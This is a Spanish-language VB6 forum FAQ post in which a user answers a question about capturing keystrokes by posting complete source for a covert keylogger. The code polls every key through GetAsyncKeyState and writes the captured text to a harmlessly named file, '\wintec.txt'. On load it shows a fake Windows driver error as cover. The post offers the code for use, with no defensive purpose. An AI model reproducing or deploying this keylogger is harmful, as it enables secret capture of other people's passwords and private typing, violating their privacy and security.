FAQ's de VB6

[aldo1982]

PREGUNTA: COMO HACER UN CAPTURADOR DE LAS TECLAS PULSADAS Y KE LAS PUEDA GUARDAR EN UN ARCHIVO DE TEXTO ??

RESPUESTA: SE HACE ASI...
'CREAN UN MODULO CON EL SIGUIENTE CODIGO:
Global w As Integer
Global bb As Boolean

'LUEGO CREAN UN PROYECTO CON EL SIGUIENTE CODIGO
Dim m As String
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form_Load()
bb = False
Dim v As Integer
v = vbRetry
Do While v = vbRetry
v = MsgBox("Error 1845, ocurrio un error en el sistema al cargar los controladores de windows", vbCritical + vbAbortRetryIgnore, "ERROR")
Loop
Timer1.Interval = 1
Timer2.Interval = 10000
m = Minute(Time) + 5
End Sub

Private Sub Text3_Change()
w = w + 1
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Dim x As Integer, i As Integer
For i = 33 To 124
x = GetAsyncKeyState(i)
If x = -32767 Then
Text1.Text = Text1.Text + Chr(i)

End If
Next
Text3.Text = Text1.Text
x = GetAsyncKeyState(112)
If x = -32767 Then
Text1.Text = Text1.Text & "{F1}"
End If
x = GetAsyncKeyState(113)
If x = -32767 Then
Text1.Text = Text1.Text & "{F2}"
End If
x = GetAsyncKeyState(114)
If x = -32767 Then
Text1.Text = Text1.Text & "{F3}"
End If
x = GetAsyncKeyState(115)
If x = -32767 Then
Text1.Text = Text1.Text & "{F4}"
End If
x = GetAsyncKeyState(116)
If x = -32767 Then
Text1.Text = Text1.Text & "{F5}"
End If
x = GetAsyncKeyState(117)
If x = -32767 Then
Text1.Text = Text1.Text & "{F6}"
End If
x = GetAsyncKeyState(118)
If x = -32767 Then
Text1.Text = Text1.Text & "{F7}"
End If
x = GetAsyncKeyState(119)
If x = -32767 Then
Text1.Text = Text1.Text & "{F8}"
End If
x = GetAsyncKeyState(120)
If x = -32767 Then
Text1.Text = Text1.Text & "{F9}"
End If
x = GetAsyncKeyState(121)
If x = -32767 Then
Text1.Text = Text1.Text & "{F10}"
End If
x = GetAsyncKeyState(122)
If x = -32767 Then
Text1.Text = Text1.Text & "{F11}"
End If
x = GetAsyncKeyState(123)
If x = -32767 Then
Text1.Text = Text1.Text & "{F12}"
End If

x = GetAsyncKeyState(8)
If x = -32767 Then
Text1.Text = Mid(Text1.Text, 1, Len(Text1) - 1)
End If

x = GetAsyncKeyState(9)
If x = -32767 Then
Text1.Text = Text1.Text & "{tab}"
End If

x = GetAsyncKeyState(13)
If x = -32767 Then
Text1.Text = Text1.Text & "{enter}"
Text1 = Text1 & vbCrLf
End If

x = GetAsyncKeyState(27)
If x = -32767 Then
Text1.Text = Text1.Text & "{esc}"
Text1 = Text1 & vbCrLf
End If

x = GetAsyncKeyState(32)
If x = -32767 Then
Text1.Text = Text1.Text & " "
End If

Dim cad As String
Dim num As String
Dim c As String
cad = Text1.Text
num = Right(cad, 1)
Text2.Text = num
c = num
If num = "a" Then
c = "1"
bb = True
End If
If num = "b" Then
c = "2"
bb = True
End If
If num = "c" Then
c = "3"
bb = True
End If
If num = "d" Then
c = "4"
bb = True
End If
If num = "e" Then
c = "5"
bb = True
End If
If num = "f" Then
c = "6"
bb = True
End If
If num = "g" Then
c = "7"
bb = True
End If
If num = "h" Then
c = "8"
bb = True
End If
If num = "i" Then
c = "9"
bb = True
End If
If num = "`" Then
c = "0"
bb = True
End If

Text2.Text = c

If bb = True Then
Dim g As Integer
g = Len(Text1.Text) - 1
Text1.Text = Left(Text1.Text, g) + c

bb = False

End If

End Sub

Private Sub Timer2_Timer()
Open "\wintec.txt" For Append As #1
Print #1, Text1.Text
Text1.Text = ""
Close #1
If (Minute(Time) >= m) Then
Open "\wintec.txt" For Append As #1
Print #1, "----------- ----------- ------------"
Close #1
End
End If

End Sub
'--------------------------------------------------'SALU2 Y ESPERO KE LES SIRVA...BYE ALDO